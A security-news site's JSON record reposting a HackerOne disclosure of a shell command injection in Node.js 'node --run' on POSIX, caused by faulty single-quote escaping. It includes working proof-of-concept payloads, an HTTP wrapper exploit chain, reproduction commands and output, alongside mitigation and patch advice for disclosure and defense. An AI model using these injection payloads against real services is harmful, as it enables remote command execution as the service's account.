{"id":64997,"date":"2026-06-23T06:48:25","date_gmt":"2026-06-23T06:48:25","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64997"},"modified":"2026-06-23T06:48:25","modified_gmt":"2026-06-23T06:48:25","slug":"nodejs-node-run-posix-positional-argument-escaping-allows-shell-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64997","title":{"rendered":"Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection_H1:3817602"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-23T10:36:58&#8243;,&#8221;description&#8221;:&#8221;# \\n\\n## Summary\\n\\nNode.js `node &#8211;run \\u003cscript\\u003e &#8212; \\u003cargs\\u003e` attempts to append positional arguments to a package script after escaping each argument for the shell.\\n\\nOn POSIX platforms, the escaping logic handles single quotes incorrectly. A positional argument containing a single quote can break out of the intended quoted argument and inject additional shell syntax.\\n\\nThe attacker does not need to control `package.json` or the selected script. The demonstrated payload only controls one argument after `&#8211;`.\\n\\n## Affected Versions\\n\\nConfirmed vulnerable on Linux x64:\\n\\n| Version | Result |\\n| &#8212; | &#8212; |\\n| v22.23.0 | Vulnerable |\\n| v24.17.0 | Vulnerable |\\n| v26.3.1 | Vulnerable |\\n\\n`&#8211;run` was added in v22.0.0, so older versions that do not implement `&#8211;run` are not affected by this specific issue.\\n\\nWindows was not tested.\\n\\n## Attack Scenario\\n\\nA service, CI bot, build wrapper, or developer tool invokes a trusted package script through Node&#8217;s built-in task runner and forwards a user-controlled value as a positional argument:\\n\\n&#8220;`sh\\nnode &#8211;run test &#8212; \\&#8221;$user_controlled_pattern\\&#8221;\\n&#8220;`\\n\\nThe application expects the value after `&#8211;` to be delivered to the package script as data, such as a test name, filename, glob, branch name, or filter string.\\n\\nAn attacker supplies a value containing a single quote and shell metacharacters. Node&#8217;s task runner incorrectly escapes the argument, causing the shell to execute attacker-controlled syntax as the user running `node &#8211;run`.\\n\\n## Exploit Chain Scenario\\n\\nThe included exploit-chain PoC models a realistic wrapper that does not use a shell at the application boundary.\\n\\nThe wrapper exposes an HTTP endpoint that receives a user-controlled query value and invokes Node with an argv array:\\n\\n&#8220;`js\\nspawn(process.execPath, [&#8216;&#8211;run&#8217;, &#8216;search&#8217;, &#8216;&#8211;&#8216;, userInput], {\\n  shell: false\\n});\\n&#8220;`\\n\\nThe trusted package script is only:\\n\\n&#8220;`json\\n{\\n  \\&#8221;scripts\\&#8221;: {\\n    \\&#8221;search\\&#8221;: \\&#8221;node helper.js\\&#8221;\\n  }\\n}\\n&#8220;`\\n\\nA safe request forwards `safe filter value` to `helper.js` and does not create the marker file.\\n\\nAn attack request forwards:\\n\\n&#8220;`text\\nSAFE_ARG&#8217;; printf \\&#8221;chain-owned\\&#8221; \\u003e \\&#8221;$CHAIN_MARKER\\&#8221;; #\\n&#8220;`\\n\\nEven though the wrapper used `shell: false`, Node&#8217;s internal `&#8211;run` implementation converts the single argv element into shell syntax, truncates the helper argument to `SAFE_ARG\\\\`, and executes the injected `printf` redirection.\\n\\n## Why This Is Not Just Application Misuse\\n\\nPackage scripts themselves are shell commands, but Node exposes a separate documented boundary for arguments after `&#8211;`.\\n\\nThe Node.js CLI documentation says that arguments after `&#8211;` are appended to the script:\\n\\nhttps:\/\/github.com\/nodejs\/node\/blob\/2e190332d098124605962520182f3f279419149d\/doc\/api\/cli.md#L2632-L2675\\n\\nNode&#8217;s implementation also explicitly treats these values as positional arguments that need escaping before being appended:\\n\\nhttps:\/\/github.com\/nodejs\/node\/blob\/2e190332d098124605962520182f3f279419149d\/src\/node_task_runner.cc#L54-L79\\n\\nThe vulnerability is that Node&#8217;s own escaping function does not preserve the argument boundary for single quotes on POSIX. The caller may have correctly passed a single literal argv element to `node &#8211;run`, but Node converts that argv element into shell syntax.\\n\\n## Root Cause Code Evidence\\n\\n`ProcessRunner` appends positional arguments by concatenating `EscapeShell(arg)` into a command string that is later passed to the shell with `-c`:\\n\\nhttps:\/\/github.com\/nodejs\/node\/blob\/2e190332d098124605962520182f3f279419149d\/src\/node_task_runner.cc#L54-L79\\n\\nThe POSIX branch of `EscapeShell()` wraps the argument in single quotes, but replaces embedded single quotes with `\\\\&#8217;`:\\n\\nhttps:\/\/github.com\/nodejs\/node\/blob\/2e190332d098124605962520182f3f279419149d\/src\/node_task_runner.cc#L173-L182\\n\\nIn POSIX shell syntax, a single quote cannot be escaped with backslash while inside single quotes. The resulting command string allows an embedded single quote to close the quoted argument.\\n\\nCurrent tests cover spaces and double quotes in positional arguments, but not single quotes:\\n\\nhttps:\/\/github.com\/nodejs\/node\/blob\/2e190332d098124605962520182f3f279419149d\/test\/parallel\/test-node-run.js#L143-L157\\n\\n## Proof of Concept\\n\\nThe PoC creates a temporary package with a harmless script:\\n\\n&#8220;`json\\n{\\n  \\&#8221;scripts\\&#8221;: {\\n    \\&#8221;show\\&#8221;: \\&#8221;printf \\\\\\&#8221;received:%s\\\\\\\\n\\\\\\&#8221;\\&#8221;\\n  }\\n}\\n&#8220;`\\n\\nIt then invokes:\\n\\n&#8220;`sh\\nnode &#8211;run show &#8212; \\&#8221;SAFE_ARG&#8217;; printf \\\\\\&#8221;command-injection\\\\\\&#8221; \\u003e \\\\\\&#8221;$NODE_RUN_POC_MARKER\\\\\\&#8221;; #\\&#8221;\\n&#8220;`\\n\\nExpected safe behavior:\\n\\nThe complete payload is passed as one literal positional argument and no marker file is created.\\n\\nActual behavior:\\n\\nThe shell executes the injected `printf` redirection and creates the marker file.\\n\\n## Command Execution Proof\\n\\nA second PoC uses the same bug to execute `whoami`:\\n\\n&#8220;`text\\nSAFE_ARG&#8217;; whoami \\u003e \\&#8221;$NODE_RUN_COMMAND_OUTPUT\\&#8221;; #\\n&#8220;`\\n\\nOutput from v26.3.1:\\n\\n&#8220;`json\\n{\\n  \\&#8221;nodeVersion\\&#8221;: \\&#8221;v26.3.1\\&#8221;,\\n  \\&#8221;platform\\&#8221;: \\&#8221;linux\\&#8221;,\\n  \\&#8221;arch\\&#8221;: \\&#8221;x64\\&#8221;,\\n  \\&#8221;proof\\&#8221;: \\&#8221;whoami command execution through node &#8211;run positional argument shell injection\\&#8221;,\\n  \\&#8221;vulnerable\\&#8221;: true,\\n  \\&#8221;payload\\&#8221;: \\&#8221;SAFE_ARG&#8217;; whoami \\u003e \\\\\\&#8221;$NODE_RUN_COMMAND_OUTPUT\\\\\\&#8221;; #\\&#8221;,\\n  \\&#8221;command\\&#8221;: \\&#8221;whoami\\&#8221;,\\n  \\&#8221;commandOutput\\&#8221;: \\&#8221;root\\&#8221;,\\n  \\&#8221;commandOutputCreated\\&#8221;: true,\\n  \\&#8221;childExitCode\\&#8221;: 0,\\n  \\&#8221;stdout\\&#8221;: \\&#8221;received:SAFE_ARG\\\\\\\\\\\\n\\&#8221;,\\n  \\&#8221;stderr\\&#8221;: \\&#8221;\\&#8221;\\n}\\n&#8220;`\\n\\nThis shows arbitrary shell command execution as the operating-system user running the Node.js process. In a remotely reachable wrapper or CI service that forwards attacker-controlled input to `node &#8211;run &#8230; &#8211;`, this becomes remote command execution in that service context.\\n\\n## Relevant Output\\n\\nFrom v26.3.1:\\n\\n&#8220;`json\\n{\\n  \\&#8221;nodeVersion\\&#8221;: \\&#8221;v26.3.1\\&#8221;,\\n  \\&#8221;platform\\&#8221;: \\&#8221;linux\\&#8221;,\\n  \\&#8221;arch\\&#8221;: \\&#8221;x64\\&#8221;,\\n  \\&#8221;feature\\&#8221;: \\&#8221;node &#8211;run positional argument forwarding\\&#8221;,\\n  \\&#8221;vulnerable\\&#8221;: true,\\n  \\&#8221;markerCreated\\&#8221;: true,\\n  \\&#8221;markerContent\\&#8221;: \\&#8221;command-injection\\&#8221;,\\n  \\&#8221;childExitCode\\&#8221;: 0,\\n  \\&#8221;stdout\\&#8221;: \\&#8221;received:SAFE_ARG\\\\\\\\\\\\n\\&#8221;,\\n  \\&#8221;stderr\\&#8221;: \\&#8221;\\&#8221;,\\n  \\&#8221;payload\\&#8221;: \\&#8221;SAFE_ARG&#8217;; printf \\\\\\&#8221;command-injection\\\\\\&#8221; \\u003e \\\\\\&#8221;$NODE_RUN_POC_MARKER\\\\\\&#8221;; #\\&#8221;\\n}\\n&#8220;`\\n\\nRaw outputs are included as attachments:\\n\\n* `node-v22.23.0-output.json`\\n* `node-v24.17.0-output.json`\\n* `node-v26.3.1-output.json`\\n* `node-v26.3.1-whoami-output.json`\\n* `node-v22.23.0-http-wrapper-chain-output.json`\\n* `node-v24.17.0-http-wrapper-chain-output.json`\\n* `node-v26.3.1-http-wrapper-chain-output.json`\\n\\nExploit-chain output from v26.3.1:\\n\\n&#8220;`json\\n{\\n  \\&#8221;nodeVersion\\&#8221;: \\&#8221;v26.3.1\\&#8221;,\\n  \\&#8221;exploitChain\\&#8221;: \\&#8221;remote HTTP input -\\u003e safe argv spawn wrapper -\\u003e node &#8211;run positional argument -\\u003e shell command injection\\&#8221;,\\n  \\&#8221;vulnerable\\&#8221;: true,\\n  \\&#8221;safeRequest\\&#8221;: {\\n    \\&#8221;markerCreated\\&#8221;: false,\\n    \\&#8221;helperObserved\\&#8221;: {\\n      \\&#8221;argv\\&#8221;: [\\n        \\&#8221;safe filter value\\&#8221;\\n      ]\\n    }\\n  },\\n  \\&#8221;attackRequest\\&#8221;: {\\n    \\&#8221;markerCreated\\&#8221;: true,\\n    \\&#8221;markerContent\\&#8221;: \\&#8221;chain-owned\\&#8221;,\\n    \\&#8221;helperObserved\\&#8221;: {\\n      \\&#8221;argv\\&#8221;: [\\n        \\&#8221;SAFE_ARG\\\\\\\\\\&#8221;\\n      ]\\n    },\\n    \\&#8221;childExitCode\\&#8221;: 0,\\n    \\&#8221;stderr\\&#8221;: \\&#8221;\\&#8221;\\n  }\\n}\\n&#8220;`\\n\\n## Manual Reproduction\\n\\nRun on a POSIX system with an affected Node.js version:\\n\\n&#8220;`sh\\nWORKDIR=\\&#8221;$(mktemp -d)\\&#8221;\\ncd \\&#8221;$WORKDIR\\&#8221;\\n\\ncat \\u003e package.json \\u003c\\u003c&#8217;JSON&#8217;\\n{\\&#8221;scripts\\&#8221;:{\\&#8221;show\\&#8221;:\\&#8221;printf \\\\\\&#8221;received:%s\\\\\\\\n\\\\\\&#8221;\\&#8221;}}\\nJSON\\n\\nexport NODE_RUN_POC_MARKER=\\&#8221;$WORKDIR\/command-executed.txt\\&#8221;\\nPAYLOAD=\\&#8221;SAFE_ARG&#8217;; printf \\\\\\&#8221;command-injection\\\\\\&#8221; \\u003e \\\\\\&#8221;\\\\$NODE_RUN_POC_MARKER\\\\\\&#8221;; #\\&#8221;\\n\\nnode &#8211;run show &#8212; \\&#8221;$PAYLOAD\\&#8221;\\ncat \\&#8221;$NODE_RUN_POC_MARKER\\&#8221;\\n&#8220;`\\n\\nVulnerable output:\\n\\n&#8220;`text\\nreceived:SAFE_ARG\\\\\\ncommand-injection\\n&#8220;`\\n\\nThe second line is printed by `cat` reading the marker file created by injected shell syntax.\\n\\n## Mitigation \/ Workaround\\n\\nApplications should avoid forwarding untrusted values to `node &#8211;run` until this is fixed.\\n\\nIf forwarding untrusted values is required, avoid `node &#8211;run` and invoke a trusted executable directly with an argv array through `child_process.spawn()` or equivalent APIs that do not concatenate arguments into a shell command string.\\n\\n## Patch Direction\\n\\nThe upstream fix should ensure that positional arguments after `&#8211;` cannot alter shell syntax when appended to the package script.\\n\\nPossible directions include using a correct POSIX single-quote escaping strategy, or changing the invocation model so positional arguments are passed as shell positional parameters rather than concatenated into the script string.\\n\\nThe final upstream fix may choose a different implementation.\\n\\n## Impact\\n\\n## \\n\\nThis is command injection in the `node &#8211;run` positional argument forwarding boundary on POSIX.\\n\\nThis is especially security-relevant because the application boundary may use child_process.spawn() with an argv array and shell: false; the shell interpretation is introduced later by Node&#8217;s internal &#8211;run task runner.\\n\\nImpact depends on the privileges of the process invoking Node. In CI, build automation, internal web tooling, or wrapper services, this can become remote code execution as the account running the job.\\n\\nThe strongest impact occurs when the attacker can influence an argument after `&#8211;` but cannot otherwise control the package script or the shell command being executed.&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T15:21:24&#8243;,&#8221;modified&#8221;:&#8221;2026-06-23T09:53:21&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3817602&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3817602&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-23T10:36:58&#8243;,&#8221;description&#8221;:&#8221;# \\n\\n## Summary\\n\\nNode.js `node &#8211;run \\u003cscript\\u003e &#8212; \\u003cargs\\u003e` attempts to append positional arguments to a package script after escaping each argument for the shell.\\n\\nOn POSIX&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-64997","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64997\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-23T10:36:58&#8243;,&#8221;description&#8221;:&#8221;# nn## SummarynnNode.js `node &#8211;run u003cscriptu003e &#8212; u003cargsu003e` attempts to append positional arguments to a package script after escaping each argument for the shell.nnOn POSIX...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64997\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-23T06:48:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection_H1:3817602\",\"datePublished\":\"2026-06-23T06:48:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997\"},\"wordCount\":1539,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64997#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997\",\"name\":\"Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-23T06:48:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64997\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64997#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection_H1:3817602\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64997","og_locale":"en_US","og_type":"article","og_title":"Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-23T10:36:58&#8243;,&#8221;description&#8221;:&#8221;# nn## SummarynnNode.js `node &#8211;run u003cscriptu003e &#8212; u003cargsu003e` attempts to append positional arguments to a package script after escaping each argument for the shell.nnOn POSIX...","og_url":"https:\/\/zero.redgem.net\/?p=64997","og_site_name":"zero redgem","article_published_time":"2026-06-23T06:48:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64997#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64997"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection_H1:3817602","datePublished":"2026-06-23T06:48:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64997"},"wordCount":1539,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64997#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64997","url":"https:\/\/zero.redgem.net\/?p=64997","name":"Node.js: Node -run POSIX positional argument escaping allows shell command injection_H1:3817602 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-23T06:48:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64997#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64997"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64997#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Node.js: Node &#8211;run POSIX positional argument escaping allows shell command injection_H1:3817602"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64997","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64997"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64997\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64997"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64997"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64997"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}